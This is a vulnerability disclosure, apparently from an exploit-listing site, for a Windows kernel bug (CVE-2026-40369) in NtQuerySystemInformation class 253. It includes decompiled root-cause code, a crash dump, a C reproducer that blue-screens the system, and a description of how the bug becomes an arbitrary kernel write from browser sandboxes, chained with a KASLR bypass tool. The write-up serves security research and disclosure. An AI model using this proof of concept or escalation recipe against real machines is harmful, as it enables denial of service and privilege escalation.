Share
## https://sploitus.com/exploit?id=13772F30-B812-560D-A5D1-F63287263E0F
# CVE-2026-40369: Arbitrary Kernel Address Increment via NtQuerySystemInformation (Class 253)

## Summary
- **Type:** Arbitrary kernel write (increment) โ€” PRIVILEGE ESCALATION PRIMITIVE
- **Component:** ntoskrnl.exe โ€” `ExpGetProcessInformation`
- **Trigger:** `NtQuerySystemInformation(SystemProcessInformationExtension, kernelAddr, 0, &needed)`
- **Impact:** Arbitrary kernel address increment (write primitive) from any unprivileged process
- **Reachable from Chrome sandbox:** YES (NtQuerySystemInformation is not blocked)
- **Windows versions:** Windows 11 24H2-25H2
- **Exploit reliablity** 100% deterministic
- **KASLR Bypass can be chained with prefetch tool** https://github.com/exploits-forsale/prefetch-tool 

## Root Cause

`ExpGetProcessInformation` is called by `ExpQuerySystemInformation` for info classes
5 (SystemProcessInformation), 0x39, 0x94, 0xFC, and **0xFD (253 = SystemProcessInformationExtension)**.

The call site at `ExpQuerySystemInformation+0xD7A`:
```c
// Cases 5, 0x39, 0x94, 0xFC, 0xFD all share this call:
result = ExpGetProcessInformation((unsigned int *)userBuffer, bufferLength, &returnSize, NULL, infoClass);
```

When userBuffer is NULL (e.g., probing for required buffer size), the function enters:

```c
// ExpGetProcessInformation, simplified:
__int64 ExpGetProcessInformation(unsigned int *buffer, unsigned int length, ..., int infoClass)
{
    v91 = buffer;  // = NULL

    if (infoClass == 252) {
        v86 = v91;  // class 252 uses v86
        // ...
    } else {
        v86 = NULL;
        if (infoClass == 253) {
            v95 = v91;  // v95 = NULL (BUG: no NULL check!)
            goto LABEL_11;
        }
        // class 5 path - uses v81, doesn't touch v95
    }
    v95 = NULL;  // class 252 path falls through here

LABEL_11:
    // ... process iteration loop ...
    while (NextProcess) {
        if (infoClass == 253) {
            ++*v95;          // CRASH: v95 is NULL when buffer is NULL
            v95[1] += ...;   // Would also crash
            v95[2] += ...;   // Would also crash
        }
        // class 5/252 paths handle NULL buffer correctly
    }
}
```

For class 253, `v95` is set to the buffer pointer (`v91 = buffer = NULL`) without any NULL check.
The process iteration loop then tries to increment a counter at `*v95`, causing a NULL pointer
dereference in kernel mode โ†’ BSOD.

Classes 5 and 252 handle NULL buffers correctly because they use different variables (`v81`/`v86`)
and have proper checks before dereferencing.

## Crash Details

```
PROCESS_NAME: enum_sysinfo.exe

nt!ExpGetProcessInformation+0x42e:
fffff801`d7adb22e ff03   inc dword ptr [rbx]   ; rbx = 0x0000000000000000

Registers:
  rbx = 0 (NULL โ€” the v95 pointer)
  r14 = 0xC (= 12 = per-entry size for class 253, confirming class 253 path)
  r15 = fffff801d7fcef00 (EPROCESS of current process being iterated)

Stack:
  nt!ExpGetProcessInformation+0x42e
  nt!ExpQuerySystemInformation+0xd7f
  nt!NtQuerySystemInformation+0x91
  nt!KiSystemServiceCopyEnd+0x25
  ntdll!NtQuerySystemInformation+0x14
```

## Reproduction

Minimal reproducer (unprivileged, no special tokens needed):
```c
#include 
#include 

// Class 253 = SystemProcessInformationExtension
#define SystemProcessInformationExtension 253

typedef NTSTATUS (NTAPI *PNtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);

int main() {
    PNtQuerySystemInformation pNtQSI = (PNtQuerySystemInformation)
        GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");

    ULONG needed = 0;
    // This call will BSOD the machine:
    pNtQSI(253, NULL, 0, &needed);

    return 0;
}
```

## Exploitability Assessment โ€” ARBITRARY KERNEL WRITE

### The ProbeForWrite Bypass

`ExpQuerySystemInformation` calls `ProbeForWrite(buffer, Length, alignment)` before dispatching.
**ProbeForWrite with Length=0 is a complete NO-OP** โ€” the entire function body is gated by `if (Length)`.

So: `NtQuerySystemInformation(253, arbitraryKernelAddr, 0, &needed)` passes an unvalidated
kernel pointer through to `ExpGetProcessInformation`.

### The Write Primitive

For each process on the system, the function executes:
```c
v95 = userBuffer;  // attacker-controlled pointer, NOT validated for class 253 with Length=0

// For EACH process:
++*v95;              // *(uint32*)(addr+0) += 1
v95[1] += threadCnt; // *(uint32*)(addr+4) += process_active_thread_count
v95[2] += handleCnt; // *(uint32*)(addr+8) += process_handle_count
```

This gives:
- **addr+0:** Incremented by 1 per process โ†’ total = number of processes on the system
- **addr+4:** Sum of all process thread counts
- **addr+8:** Sum of all process handle counts

### Why the writes happen despite LENGTH=0

`ExpGetProcessInformation` checks `if (length < 12)` and sets STATUS_INFO_LENGTH_MISMATCH,
but **does NOT return early**. It stores the error status and continues into the process
iteration loop, executing the writes to `v95` for every process before finally returning
the error status.


### Works From Chrome Sandbox, Edge, Firefox

Fully reachable:
- NtQuerySystemInformation is NOT blocked by win32k lockdown
- The restricted token does NOT prevent this syscall
- Untrusted integrity level does NOT prevent this syscall


![alt text](image.png)


## Credit
Found and written by Ori Nimron (@orinimron123)